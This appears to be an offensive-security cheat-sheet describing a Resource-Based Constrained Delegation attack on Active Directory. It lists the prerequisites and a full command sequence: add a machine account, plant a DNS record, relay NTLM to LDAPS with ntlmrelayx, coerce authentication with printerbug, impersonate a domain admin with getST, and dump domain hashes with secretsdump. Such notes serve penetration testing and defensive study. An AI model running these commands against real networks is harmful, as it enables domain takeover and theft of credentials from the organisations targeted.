- Resource-Based Constrained Delegation - msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object. - Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property - Prerequisites: - No LDAP signing on DCs - `cme ldap –u ValidUser –p ValidPass –M ldap-signing` - Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity - Check: `cme smb –u ValidUser –p ValidPass –M maq` - Need a way to coerce authentication (printerbug, petitpotam, etc.) - Exploitation: - Add machine account (with a SPN) - `impacket-addcomputer -computer-name 'uniqueName' -dc-ip domain/user:password` - Add DNS record to force HTTP authentication - `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r -d ` - Start NTLM Relay - `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh --delegate-access --escalate-user --no-dump --no-acl --no-da --no-validate-privs` - Coerce authentication - `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost @80/fakepath` - Request a TGS to impersonate a domain admin on the target host - `impacket-getST -spn cifs/remoteHost.domain.local -impersonate domain.local/ValidUser:ValidPass -dc-ip ` - Set the ccache environment variable for impacket - `export KRB5CCNAME=.ccache` - DCSync to dump hashes - `impacket-secretsdump -k -no-pass remoteHost.domain.local`